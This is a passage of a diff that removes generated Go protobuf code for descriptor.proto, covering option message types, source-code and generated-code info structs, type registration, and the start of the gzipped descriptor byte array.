xxx_messageInfo_EnumOptions proto.InternalMessageInfo - -const Default_EnumOptions_Deprecated bool = false - -func (m *EnumOptions) GetAllowAlias() bool { - if m != nil && m.AllowAlias != nil { - return *m.AllowAlias - } - return false -} - -func (m *EnumOptions) GetDeprecated() bool { - if m != nil && m.Deprecated != nil { - return *m.Deprecated - } - return Default_EnumOptions_Deprecated -} - -func (m *EnumOptions) GetUninterpretedOption() []*UninterpretedOption { - if m != nil { - return m.UninterpretedOption - } - return nil -} - -type EnumValueOptions struct { - // Is this enum value deprecated? - // Depending on the target platform, this can emit Deprecated annotations - // for the enum value, or it will be completely ignored; in the very least, - // this is a formalization for deprecating enum values. - Deprecated *bool `protobuf:"varint,1,opt,name=deprecated,def=0" json:"deprecated,omitempty"` - // The parser stores options it doesn't recognize here. See above. - UninterpretedOption []*UninterpretedOption `protobuf:"bytes,999,rep,name=uninterpreted_option,json=uninterpretedOption" json:"uninterpreted_option,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - proto.XXX_InternalExtensions `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *EnumValueOptions) Reset() { *m = EnumValueOptions{} } -func (m *EnumValueOptions) String() string { return proto.CompactTextString(m) } -func (*EnumValueOptions) ProtoMessage() {} -func (*EnumValueOptions) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{15} -} - -var extRange_EnumValueOptions = []proto.ExtensionRange{ - {Start: 1000, End: 536870911}, -} - -func (*EnumValueOptions) ExtensionRangeArray() []proto.ExtensionRange { - return extRange_EnumValueOptions -} - -func (m *EnumValueOptions) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_EnumValueOptions.Unmarshal(m, b) -} -func (m *EnumValueOptions) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_EnumValueOptions.Marshal(b, m, deterministic) -} -func (m *EnumValueOptions) XXX_Merge(src proto.Message) { - xxx_messageInfo_EnumValueOptions.Merge(m, src) -} -func (m *EnumValueOptions) XXX_Size() int { - return xxx_messageInfo_EnumValueOptions.Size(m) -} -func (m *EnumValueOptions) XXX_DiscardUnknown() { - xxx_messageInfo_EnumValueOptions.DiscardUnknown(m) -} - -var xxx_messageInfo_EnumValueOptions proto.InternalMessageInfo - -const Default_EnumValueOptions_Deprecated bool = false - -func (m *EnumValueOptions) GetDeprecated() bool { - if m != nil && m.Deprecated != nil { - return *m.Deprecated - } - return Default_EnumValueOptions_Deprecated -} - -func (m *EnumValueOptions) GetUninterpretedOption() []*UninterpretedOption { - if m != nil { - return m.UninterpretedOption - } - return nil -} - -type ServiceOptions struct { - // Is this service deprecated? - // Depending on the target platform, this can emit Deprecated annotations - // for the service, or it will be completely ignored; in the very least, - // this is a formalization for deprecating services. - Deprecated *bool `protobuf:"varint,33,opt,name=deprecated,def=0" json:"deprecated,omitempty"` - // The parser stores options it doesn't recognize here. See above. - UninterpretedOption []*UninterpretedOption `protobuf:"bytes,999,rep,name=uninterpreted_option,json=uninterpretedOption" json:"uninterpreted_option,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - proto.XXX_InternalExtensions `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *ServiceOptions) Reset() { *m = ServiceOptions{} } -func (m *ServiceOptions) String() string { return proto.CompactTextString(m) } -func (*ServiceOptions) ProtoMessage() {} -func (*ServiceOptions) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{16} -} - -var extRange_ServiceOptions = []proto.ExtensionRange{ - {Start: 1000, End: 536870911}, -} - -func (*ServiceOptions) ExtensionRangeArray() []proto.ExtensionRange { - return extRange_ServiceOptions -} - -func (m *ServiceOptions) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_ServiceOptions.Unmarshal(m, b) -} -func (m *ServiceOptions) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_ServiceOptions.Marshal(b, m, deterministic) -} -func (m *ServiceOptions) XXX_Merge(src proto.Message) { - xxx_messageInfo_ServiceOptions.Merge(m, src) -} -func (m *ServiceOptions) XXX_Size() int { - return xxx_messageInfo_ServiceOptions.Size(m) -} -func (m *ServiceOptions) XXX_DiscardUnknown() { - xxx_messageInfo_ServiceOptions.DiscardUnknown(m) -} - -var xxx_messageInfo_ServiceOptions proto.InternalMessageInfo - -const Default_ServiceOptions_Deprecated bool = false - -func (m *ServiceOptions) GetDeprecated() bool { - if m != nil && m.Deprecated != nil { - return *m.Deprecated - } - return Default_ServiceOptions_Deprecated -} - -func (m *ServiceOptions) GetUninterpretedOption() []*UninterpretedOption { - if m != nil { - return m.UninterpretedOption - } - return nil -} - -type MethodOptions struct { - // Is this method deprecated? - // Depending on the target platform, this can emit Deprecated annotations - // for the method, or it will be completely ignored; in the very least, - // this is a formalization for deprecating methods. - Deprecated *bool `protobuf:"varint,33,opt,name=deprecated,def=0" json:"deprecated,omitempty"` - IdempotencyLevel *MethodOptions_IdempotencyLevel `protobuf:"varint,34,opt,name=idempotency_level,json=idempotencyLevel,enum=google.protobuf.MethodOptions_IdempotencyLevel,def=0" json:"idempotency_level,omitempty"` - // The parser stores options it doesn't recognize here. See above. - UninterpretedOption []*UninterpretedOption `protobuf:"bytes,999,rep,name=uninterpreted_option,json=uninterpretedOption" json:"uninterpreted_option,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - proto.XXX_InternalExtensions `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *MethodOptions) Reset() { *m = MethodOptions{} } -func (m *MethodOptions) String() string { return proto.CompactTextString(m) } -func (*MethodOptions) ProtoMessage() {} -func (*MethodOptions) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{17} -} - -var extRange_MethodOptions = []proto.ExtensionRange{ - {Start: 1000, End: 536870911}, -} - -func (*MethodOptions) ExtensionRangeArray() []proto.ExtensionRange { - return extRange_MethodOptions -} - -func (m *MethodOptions) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_MethodOptions.Unmarshal(m, b) -} -func (m *MethodOptions) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_MethodOptions.Marshal(b, m, deterministic) -} -func (m *MethodOptions) XXX_Merge(src proto.Message) { - xxx_messageInfo_MethodOptions.Merge(m, src) -} -func (m *MethodOptions) XXX_Size() int { - return xxx_messageInfo_MethodOptions.Size(m) -} -func (m *MethodOptions) XXX_DiscardUnknown() { - xxx_messageInfo_MethodOptions.DiscardUnknown(m) -} - -var xxx_messageInfo_MethodOptions proto.InternalMessageInfo - -const Default_MethodOptions_Deprecated bool = false -const Default_MethodOptions_IdempotencyLevel MethodOptions_IdempotencyLevel = MethodOptions_IDEMPOTENCY_UNKNOWN - -func (m *MethodOptions) GetDeprecated() bool { - if m != nil && m.Deprecated != nil { - return *m.Deprecated - } - return Default_MethodOptions_Deprecated -} - -func (m *MethodOptions) GetIdempotencyLevel() MethodOptions_IdempotencyLevel { - if m != nil && m.IdempotencyLevel != nil { - return *m.IdempotencyLevel - } - return Default_MethodOptions_IdempotencyLevel -} - -func (m *MethodOptions) GetUninterpretedOption() []*UninterpretedOption { - if m != nil { - return m.UninterpretedOption - } - return nil -} - -// A message representing a option the parser does not recognize. This only -// appears in options protos created by the compiler::Parser class. -// DescriptorPool resolves these when building Descriptor objects. Therefore, -// options protos in descriptor objects (e.g. returned by Descriptor::options(), -// or produced by Descriptor::CopyTo()) will never have UninterpretedOptions -// in them. -type UninterpretedOption struct { - Name []*UninterpretedOption_NamePart `protobuf:"bytes,2,rep,name=name" json:"name,omitempty"` - // The value of the uninterpreted option, in whatever type the tokenizer - // identified it as during parsing. Exactly one of these should be set. - IdentifierValue *string `protobuf:"bytes,3,opt,name=identifier_value,json=identifierValue" json:"identifier_value,omitempty"` - PositiveIntValue *uint64 `protobuf:"varint,4,opt,name=positive_int_value,json=positiveIntValue" json:"positive_int_value,omitempty"` - NegativeIntValue *int64 `protobuf:"varint,5,opt,name=negative_int_value,json=negativeIntValue" json:"negative_int_value,omitempty"` - DoubleValue *float64 `protobuf:"fixed64,6,opt,name=double_value,json=doubleValue" json:"double_value,omitempty"` - StringValue []byte `protobuf:"bytes,7,opt,name=string_value,json=stringValue" json:"string_value,omitempty"` - AggregateValue *string `protobuf:"bytes,8,opt,name=aggregate_value,json=aggregateValue" json:"aggregate_value,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *UninterpretedOption) Reset() { *m = UninterpretedOption{} } -func (m *UninterpretedOption) String() string { return proto.CompactTextString(m) } -func (*UninterpretedOption) ProtoMessage() {} -func (*UninterpretedOption) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{18} -} - -func (m *UninterpretedOption) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_UninterpretedOption.Unmarshal(m, b) -} -func (m *UninterpretedOption) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_UninterpretedOption.Marshal(b, m, deterministic) -} -func (m *UninterpretedOption) XXX_Merge(src proto.Message) { - xxx_messageInfo_UninterpretedOption.Merge(m, src) -} -func (m *UninterpretedOption) XXX_Size() int { - return xxx_messageInfo_UninterpretedOption.Size(m) -} -func (m *UninterpretedOption) XXX_DiscardUnknown() { - xxx_messageInfo_UninterpretedOption.DiscardUnknown(m) -} - -var xxx_messageInfo_UninterpretedOption proto.InternalMessageInfo - -func (m *UninterpretedOption) GetName() []*UninterpretedOption_NamePart { - if m != nil { - return m.Name - } - return nil -} - -func (m *UninterpretedOption) GetIdentifierValue() string { - if m != nil && m.IdentifierValue != nil { - return *m.IdentifierValue - } - return "" -} - -func (m *UninterpretedOption) GetPositiveIntValue() uint64 { - if m != nil && m.PositiveIntValue != nil { - return *m.PositiveIntValue - } - return 0 -} - -func (m *UninterpretedOption) GetNegativeIntValue() int64 { - if m != nil && m.NegativeIntValue != nil { - return *m.NegativeIntValue - } - return 0 -} - -func (m *UninterpretedOption) GetDoubleValue() float64 { - if m != nil && m.DoubleValue != nil { - return *m.DoubleValue - } - return 0 -} - -func (m *UninterpretedOption) GetStringValue() []byte { - if m != nil { - return m.StringValue - } - return nil -} - -func (m *UninterpretedOption) GetAggregateValue() string { - if m != nil && m.AggregateValue != nil { - return *m.AggregateValue - } - return "" -} - -// The name of the uninterpreted option. Each string represents a segment in -// a dot-separated name. is_extension is true iff a segment represents an -// extension (denoted with parentheses in options specs in .proto files). -// E.g.,{ ["foo", false], ["bar.baz", true], ["qux", false] } represents -// "foo.(bar.baz).qux". -type UninterpretedOption_NamePart struct { - NamePart *string `protobuf:"bytes,1,req,name=name_part,json=namePart" json:"name_part,omitempty"` - IsExtension *bool `protobuf:"varint,2,req,name=is_extension,json=isExtension" json:"is_extension,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *UninterpretedOption_NamePart) Reset() { *m = UninterpretedOption_NamePart{} } -func (m *UninterpretedOption_NamePart) String() string { return proto.CompactTextString(m) } -func (*UninterpretedOption_NamePart) ProtoMessage() {} -func (*UninterpretedOption_NamePart) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{18, 0} -} - -func (m *UninterpretedOption_NamePart) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_UninterpretedOption_NamePart.Unmarshal(m, b) -} -func (m *UninterpretedOption_NamePart) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_UninterpretedOption_NamePart.Marshal(b, m, deterministic) -} -func (m *UninterpretedOption_NamePart) XXX_Merge(src proto.Message) { - xxx_messageInfo_UninterpretedOption_NamePart.Merge(m, src) -} -func (m *UninterpretedOption_NamePart) XXX_Size() int { - return xxx_messageInfo_UninterpretedOption_NamePart.Size(m) -} -func (m *UninterpretedOption_NamePart) XXX_DiscardUnknown() { - xxx_messageInfo_UninterpretedOption_NamePart.DiscardUnknown(m) -} - -var xxx_messageInfo_UninterpretedOption_NamePart proto.InternalMessageInfo - -func (m *UninterpretedOption_NamePart) GetNamePart() string { - if m != nil && m.NamePart != nil { - return *m.NamePart - } - return "" -} - -func (m *UninterpretedOption_NamePart) GetIsExtension() bool { - if m != nil && m.IsExtension != nil { - return *m.IsExtension - } - return false -} - -// Encapsulates information about the original source file from which a -// FileDescriptorProto was generated. -type SourceCodeInfo struct { - // A Location identifies a piece of source code in a .proto file which - // corresponds to a particular definition. This information is intended - // to be useful to IDEs, code indexers, documentation generators, and similar - // tools. - // - // For example, say we have a file like: - // message Foo { - // optional string foo = 1; - // } - // Let's look at just the field definition: - // optional string foo = 1; - // ^ ^^ ^^ ^ ^^^ - // a bc de f ghi - // We have the following locations: - // span path represents - // [a,i) [ 4, 0, 2, 0 ] The whole field definition. - // [a,b) [ 4, 0, 2, 0, 4 ] The label (optional). - // [c,d) [ 4, 0, 2, 0, 5 ] The type (string). - // [e,f) [ 4, 0, 2, 0, 1 ] The name (foo). - // [g,h) [ 4, 0, 2, 0, 3 ] The number (1). - // - // Notes: - // - A location may refer to a repeated field itself (i.e. not to any - // particular index within it). This is used whenever a set of elements are - // logically enclosed in a single code segment. For example, an entire - // extend block (possibly containing multiple extension definitions) will - // have an outer location whose path refers to the "extensions" repeated - // field without an index. - // - Multiple locations may have the same path. This happens when a single - // logical declaration is spread out across multiple places. The most - // obvious example is the "extend" block again -- there may be multiple - // extend blocks in the same scope, each of which will have the same path. - // - A location's span is not always a subset of its parent's span. For - // example, the "extendee" of an extension declaration appears at the - // beginning of the "extend" block and is shared by all extensions within - // the block. - // - Just because a location's span is a subset of some other location's span - // does not mean that it is a descendent. For example, a "group" defines - // both a type and a field in a single declaration. Thus, the locations - // corresponding to the type and field and their components will overlap. - // - Code which tries to interpret locations should probably be designed to - // ignore those that it doesn't understand, as more types of locations could - // be recorded in the future. - Location []*SourceCodeInfo_Location `protobuf:"bytes,1,rep,name=location" json:"location,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *SourceCodeInfo) Reset() { *m = SourceCodeInfo{} } -func (m *SourceCodeInfo) String() string { return proto.CompactTextString(m) } -func (*SourceCodeInfo) ProtoMessage() {} -func (*SourceCodeInfo) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{19} -} - -func (m *SourceCodeInfo) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_SourceCodeInfo.Unmarshal(m, b) -} -func (m *SourceCodeInfo) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_SourceCodeInfo.Marshal(b, m, deterministic) -} -func (m *SourceCodeInfo) XXX_Merge(src proto.Message) { - xxx_messageInfo_SourceCodeInfo.Merge(m, src) -} -func (m *SourceCodeInfo) XXX_Size() int { - return xxx_messageInfo_SourceCodeInfo.Size(m) -} -func (m *SourceCodeInfo) XXX_DiscardUnknown() { - xxx_messageInfo_SourceCodeInfo.DiscardUnknown(m) -} - -var xxx_messageInfo_SourceCodeInfo proto.InternalMessageInfo - -func (m *SourceCodeInfo) GetLocation() []*SourceCodeInfo_Location { - if m != nil { - return m.Location - } - return nil -} - -type SourceCodeInfo_Location struct { - // Identifies which part of the FileDescriptorProto was defined at this - // location. - // - // Each element is a field number or an index. They form a path from - // the root FileDescriptorProto to the place where the definition. For - // example, this path: - // [ 4, 3, 2, 7, 1 ] - // refers to: - // file.message_type(3) // 4, 3 - // .field(7) // 2, 7 - // .name() // 1 - // This is because FileDescriptorProto.message_type has field number 4: - // repeated DescriptorProto message_type = 4; - // and DescriptorProto.field has field number 2: - // repeated FieldDescriptorProto field = 2; - // and FieldDescriptorProto.name has field number 1: - // optional string name = 1; - // - // Thus, the above path gives the location of a field name. If we removed - // the last element: - // [ 4, 3, 2, 7 ] - // this path refers to the whole field declaration (from the beginning - // of the label to the terminating semicolon). - Path []int32 `protobuf:"varint,1,rep,packed,name=path" json:"path,omitempty"` - // Always has exactly three or four elements: start line, start column, - // end line (optional, otherwise assumed same as start line), end column. - // These are packed into a single field for efficiency. Note that line - // and column numbers are zero-based -- typically you will want to add - // 1 to each before displaying to a user. - Span []int32 `protobuf:"varint,2,rep,packed,name=span" json:"span,omitempty"` - // If this SourceCodeInfo represents a complete declaration, these are any - // comments appearing before and after the declaration which appear to be - // attached to the declaration. - // - // A series of line comments appearing on consecutive lines, with no other - // tokens appearing on those lines, will be treated as a single comment. - // - // leading_detached_comments will keep paragraphs of comments that appear - // before (but not connected to) the current element. Each paragraph, - // separated by empty lines, will be one comment element in the repeated - // field. - // - // Only the comment content is provided; comment markers (e.g. //) are - // stripped out. For block comments, leading whitespace and an asterisk - // will be stripped from the beginning of each line other than the first. - // Newlines are included in the output. - // - // Examples: - // - // optional int32 foo = 1; // Comment attached to foo. - // // Comment attached to bar. - // optional int32 bar = 2; - // - // optional string baz = 3; - // // Comment attached to baz. - // // Another line attached to baz. - // - // // Comment attached to qux. - // // - // // Another line attached to qux. - // optional double qux = 4; - // - // // Detached comment for corge. This is not leading or trailing comments - // // to qux or corge because there are blank lines separating it from - // // both. - // - // // Detached comment for corge paragraph 2. - // - // optional string corge = 5; - // /* Block comment attached - // * to corge. Leading asterisks - // * will be removed. */ - // /* Block comment attached to - // * grault. */ - // optional int32 grault = 6; - // - // // ignored detached comments. - LeadingComments *string `protobuf:"bytes,3,opt,name=leading_comments,json=leadingComments" json:"leading_comments,omitempty"` - TrailingComments *string `protobuf:"bytes,4,opt,name=trailing_comments,json=trailingComments" json:"trailing_comments,omitempty"` - LeadingDetachedComments []string `protobuf:"bytes,6,rep,name=leading_detached_comments,json=leadingDetachedComments" json:"leading_detached_comments,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *SourceCodeInfo_Location) Reset() { *m = SourceCodeInfo_Location{} } -func (m *SourceCodeInfo_Location) String() string { return proto.CompactTextString(m) } -func (*SourceCodeInfo_Location) ProtoMessage() {} -func (*SourceCodeInfo_Location) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{19, 0} -} - -func (m *SourceCodeInfo_Location) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_SourceCodeInfo_Location.Unmarshal(m, b) -} -func (m *SourceCodeInfo_Location) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_SourceCodeInfo_Location.Marshal(b, m, deterministic) -} -func (m *SourceCodeInfo_Location) XXX_Merge(src proto.Message) { - xxx_messageInfo_SourceCodeInfo_Location.Merge(m, src) -} -func (m *SourceCodeInfo_Location) XXX_Size() int { - return xxx_messageInfo_SourceCodeInfo_Location.Size(m) -} -func (m *SourceCodeInfo_Location) XXX_DiscardUnknown() { - xxx_messageInfo_SourceCodeInfo_Location.DiscardUnknown(m) -} - -var xxx_messageInfo_SourceCodeInfo_Location proto.InternalMessageInfo - -func (m *SourceCodeInfo_Location) GetPath() []int32 { - if m != nil { - return m.Path - } - return nil -} - -func (m *SourceCodeInfo_Location) GetSpan() []int32 { - if m != nil { - return m.Span - } - return nil -} - -func (m *SourceCodeInfo_Location) GetLeadingComments() string { - if m != nil && m.LeadingComments != nil { - return *m.LeadingComments - } - return "" -} - -func (m *SourceCodeInfo_Location) GetTrailingComments() string { - if m != nil && m.TrailingComments != nil { - return *m.TrailingComments - } - return "" -} - -func (m *SourceCodeInfo_Location) GetLeadingDetachedComments() []string { - if m != nil { - return m.LeadingDetachedComments - } - return nil -} - -// Describes the relationship between generated code and its original source -// file. A GeneratedCodeInfo message is associated with only one generated -// source file, but may contain references to different source .proto files. -type GeneratedCodeInfo struct { - // An Annotation connects some span of text in generated code to an element - // of its generating .proto file. - Annotation []*GeneratedCodeInfo_Annotation `protobuf:"bytes,1,rep,name=annotation" json:"annotation,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *GeneratedCodeInfo) Reset() { *m = GeneratedCodeInfo{} } -func (m *GeneratedCodeInfo) String() string { return proto.CompactTextString(m) } -func (*GeneratedCodeInfo) ProtoMessage() {} -func (*GeneratedCodeInfo) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{20} -} - -func (m *GeneratedCodeInfo) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_GeneratedCodeInfo.Unmarshal(m, b) -} -func (m *GeneratedCodeInfo) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_GeneratedCodeInfo.Marshal(b, m, deterministic) -} -func (m *GeneratedCodeInfo) XXX_Merge(src proto.Message) { - xxx_messageInfo_GeneratedCodeInfo.Merge(m, src) -} -func (m *GeneratedCodeInfo) XXX_Size() int { - return xxx_messageInfo_GeneratedCodeInfo.Size(m) -} -func (m *GeneratedCodeInfo) XXX_DiscardUnknown() { - xxx_messageInfo_GeneratedCodeInfo.DiscardUnknown(m) -} - -var xxx_messageInfo_GeneratedCodeInfo proto.InternalMessageInfo - -func (m *GeneratedCodeInfo) GetAnnotation() []*GeneratedCodeInfo_Annotation { - if m != nil { - return m.Annotation - } - return nil -} - -type GeneratedCodeInfo_Annotation struct { - // Identifies the element in the original source .proto file. This field - // is formatted the same as SourceCodeInfo.Location.path. - Path []int32 `protobuf:"varint,1,rep,packed,name=path" json:"path,omitempty"` - // Identifies the filesystem path to the original source .proto. - SourceFile *string `protobuf:"bytes,2,opt,name=source_file,json=sourceFile" json:"source_file,omitempty"` - // Identifies the starting offset in bytes in the generated code - // that relates to the identified object. - Begin *int32 `protobuf:"varint,3,opt,name=begin" json:"begin,omitempty"` - // Identifies the ending offset in bytes in the generated code that - // relates to the identified offset. The end offset should be one past - // the last relevant byte (so the length of the text = end - begin). - End *int32 `protobuf:"varint,4,opt,name=end" json:"end,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *GeneratedCodeInfo_Annotation) Reset() { *m = GeneratedCodeInfo_Annotation{} } -func (m *GeneratedCodeInfo_Annotation) String() string { return proto.CompactTextString(m) } -func (*GeneratedCodeInfo_Annotation) ProtoMessage() {} -func (*GeneratedCodeInfo_Annotation) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{20, 0} -} - -func (m *GeneratedCodeInfo_Annotation) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_GeneratedCodeInfo_Annotation.Unmarshal(m, b) -} -func (m *GeneratedCodeInfo_Annotation) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_GeneratedCodeInfo_Annotation.Marshal(b, m, deterministic) -} -func (m *GeneratedCodeInfo_Annotation) XXX_Merge(src proto.Message) { - xxx_messageInfo_GeneratedCodeInfo_Annotation.Merge(m, src) -} -func (m *GeneratedCodeInfo_Annotation) XXX_Size() int { - return xxx_messageInfo_GeneratedCodeInfo_Annotation.Size(m) -} -func (m *GeneratedCodeInfo_Annotation) XXX_DiscardUnknown() { - xxx_messageInfo_GeneratedCodeInfo_Annotation.DiscardUnknown(m) -} - -var xxx_messageInfo_GeneratedCodeInfo_Annotation proto.InternalMessageInfo - -func (m *GeneratedCodeInfo_Annotation) GetPath() []int32 { - if m != nil { - return m.Path - } - return nil -} - -func (m *GeneratedCodeInfo_Annotation) GetSourceFile() string { - if m != nil && m.SourceFile != nil { - return *m.SourceFile - } - return "" -} - -func (m *GeneratedCodeInfo_Annotation) GetBegin() int32 { - if m != nil && m.Begin != nil { - return *m.Begin - } - return 0 -} - -func (m *GeneratedCodeInfo_Annotation) GetEnd() int32 { - if m != nil && m.End != nil { - return *m.End - } - return 0 -} - -func init() { - proto.RegisterEnum("google.protobuf.FieldDescriptorProto_Type", FieldDescriptorProto_Type_name, FieldDescriptorProto_Type_value) - proto.RegisterEnum("google.protobuf.FieldDescriptorProto_Label", FieldDescriptorProto_Label_name, FieldDescriptorProto_Label_value) - proto.RegisterEnum("google.protobuf.FileOptions_OptimizeMode", FileOptions_OptimizeMode_name, FileOptions_OptimizeMode_value) - proto.RegisterEnum("google.protobuf.FieldOptions_CType", FieldOptions_CType_name, FieldOptions_CType_value) - proto.RegisterEnum("google.protobuf.FieldOptions_JSType", FieldOptions_JSType_name, FieldOptions_JSType_value) - proto.RegisterEnum("google.protobuf.MethodOptions_IdempotencyLevel", MethodOptions_IdempotencyLevel_name, MethodOptions_IdempotencyLevel_value) - proto.RegisterType((*FileDescriptorSet)(nil), "google.protobuf.FileDescriptorSet") - proto.RegisterType((*FileDescriptorProto)(nil), "google.protobuf.FileDescriptorProto") - proto.RegisterType((*DescriptorProto)(nil), "google.protobuf.DescriptorProto") - proto.RegisterType((*DescriptorProto_ExtensionRange)(nil), "google.protobuf.DescriptorProto.ExtensionRange") - proto.RegisterType((*DescriptorProto_ReservedRange)(nil), "google.protobuf.DescriptorProto.ReservedRange") - proto.RegisterType((*ExtensionRangeOptions)(nil), "google.protobuf.ExtensionRangeOptions") - proto.RegisterType((*FieldDescriptorProto)(nil), "google.protobuf.FieldDescriptorProto") - proto.RegisterType((*OneofDescriptorProto)(nil), "google.protobuf.OneofDescriptorProto") - proto.RegisterType((*EnumDescriptorProto)(nil), "google.protobuf.EnumDescriptorProto") - proto.RegisterType((*EnumDescriptorProto_EnumReservedRange)(nil), "google.protobuf.EnumDescriptorProto.EnumReservedRange") - proto.RegisterType((*EnumValueDescriptorProto)(nil), "google.protobuf.EnumValueDescriptorProto") - proto.RegisterType((*ServiceDescriptorProto)(nil), "google.protobuf.ServiceDescriptorProto") - proto.RegisterType((*MethodDescriptorProto)(nil), "google.protobuf.MethodDescriptorProto") - proto.RegisterType((*FileOptions)(nil), "google.protobuf.FileOptions") - proto.RegisterType((*MessageOptions)(nil), "google.protobuf.MessageOptions") - proto.RegisterType((*FieldOptions)(nil), "google.protobuf.FieldOptions") - proto.RegisterType((*OneofOptions)(nil), "google.protobuf.OneofOptions") - proto.RegisterType((*EnumOptions)(nil), "google.protobuf.EnumOptions") - proto.RegisterType((*EnumValueOptions)(nil), "google.protobuf.EnumValueOptions") - proto.RegisterType((*ServiceOptions)(nil), "google.protobuf.ServiceOptions") - proto.RegisterType((*MethodOptions)(nil), "google.protobuf.MethodOptions") - proto.RegisterType((*UninterpretedOption)(nil), "google.protobuf.UninterpretedOption") - proto.RegisterType((*UninterpretedOption_NamePart)(nil), "google.protobuf.UninterpretedOption.NamePart") - proto.RegisterType((*SourceCodeInfo)(nil), "google.protobuf.SourceCodeInfo") - proto.RegisterType((*SourceCodeInfo_Location)(nil), "google.protobuf.SourceCodeInfo.Location") - proto.RegisterType((*GeneratedCodeInfo)(nil), "google.protobuf.GeneratedCodeInfo") - proto.RegisterType((*GeneratedCodeInfo_Annotation)(nil), "google.protobuf.GeneratedCodeInfo.Annotation") -} - -func init() { proto.RegisterFile("google/protobuf/descriptor.proto", fileDescriptor_e5baabe45344a177) } - -var fileDescriptor_e5baabe45344a177 = []byte{ - // 2589 bytes of a gzipped FileDescriptorProto - 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xc4, 0x59, 0xdd, 0x8e, 0xdb, 0xc6, - 0x15, 0x0e, 0xf5, 0xb7, 0xd2, 0x91, 0x56, 0x3b, 0x3b, 0xbb, 0xb1, 0xe9, 0xcd, 0x8f, 0xd7, 0xca, - 0x8f, 0xd7, 0x4e, 0xac, 0x0d, 0x1c, 0xdb, 0x71, 0xd6, 0x45, 0x5a, 0xad, 0x44, 0x6f, 0xe4, 0xee, - 0x4a, 0x2a, 0xa5, 0x6d, 0x7e, 0x80, 0x82, 0x98, 0x25, 0x47, 0x12, 0x6d, 0x8a, 0x64, 0x48, 0xca, - 0xf6, 0x06, 0xbd, 0x30, 0xd0, 0xab, 0x5e, 0x15, 0xe8, 0x55, 0x51, 0x14, 0xbd, 0xe8, 0x4d, 0x80, - 0x3e, 0x40, 0x81, 0xde, 0xf5, 0x09, 0x0a, 0xe4, 0x0d, 0x8a, 0xb6, 0x40, 0xfb, 0x08, 0xbd, 0x2c, - 0x66, 0x86, 0xa4, 0x48, 0x49, 0x1b, 0x6f, 0x02, 0xc4, 0xb9, 0x92, 0xe6, 0x3b, 0xdf, 0x39, 0x73, - 0xe6, 0xcc, 0x99, 0x99, 0x33, 0x43, 0xd8, 0x1e, 0x39, 0xce, 0xc8, 0xa2, 0xbb, 0xae, 0xe7, 0x04, - 0xce, 0xc9, 0x74, 0xb8, 0x6b, 0x50, 0x5f, 0xf7, 0x4c, 0x37, 0x70, 0xbc, 0x3a, 0xc7, 0xf0, 0x9a, - 0x60, 0xd4, 0x23, 0x46, 0xed, 0x08, 0xd6, 0xef, 0x9b, 0x16, 0x6d, 0xc5, 0xc4, 0x3e, 0x0d, 0xf0, - 0x5d, 0xc8, 0x0d, 0x4d, 0x8b, 0xca, 0xd2, 0x76, 0x76, 0xa7, 0x7c, 0xf3, 0xcd, 0xfa, 0x9c, 0x52, - 0x3d, 0xad, 0xd1, 0x63, 0xb0, 0xca, 0x35, 0x6a, 0xff, 0xce, 0xc1, 0xc6, 0x12, 0x29, 0xc6, 0x90, - 0xb3, 0xc9, 0x84, 0x59, 0x94, 0x76, 0x4a, 0x2a, 0xff, 0x8f, 